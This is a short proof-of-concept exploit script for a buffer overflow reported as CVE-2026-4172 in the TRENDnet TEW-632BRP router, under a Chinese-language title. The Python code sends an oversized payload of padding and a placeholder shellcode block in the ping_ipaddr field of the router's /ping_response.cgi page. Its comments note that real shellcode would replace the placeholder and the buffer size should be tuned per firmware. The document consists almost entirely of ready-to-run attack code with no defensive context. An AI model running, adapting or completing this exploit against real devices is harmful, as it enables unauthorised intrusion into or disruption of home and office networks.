CVE-2026-4172 TRENDnet TEW-632BRP 缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-4172 PoC - TRENDnet TEW-632BRP Buffer Overflow Target: /ping_response.cgi Vulnerable Parameter: ping_ipaddr """ import requests import sys target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.10.1" target_port = sys.argv[2] if len(sys.argv) > 2 else "80" url = f"http://{target_ip}:{target_port}/ping_response.cgi" # Generate overflow payload # Buffer size depends on firmware, adjust accordingly buffer_size = 1000 padding = b"A" * buffer_size # MIPS NOP sled + shellcode placeholder # In real exploit, this would contain actual shellcode shellcode = b"\x00\x00\x00\x00" * 10 payload = padding + shellcode data = { "ping_ipaddr": payload.decode('latin-1'), "submit_button": "ping", "ping_ipaddr_submitted": "1" } print(f"[*] Sending exploit to {url}") print(f"[*] Payload size: {len(payload)} bytes") try: response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent, Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")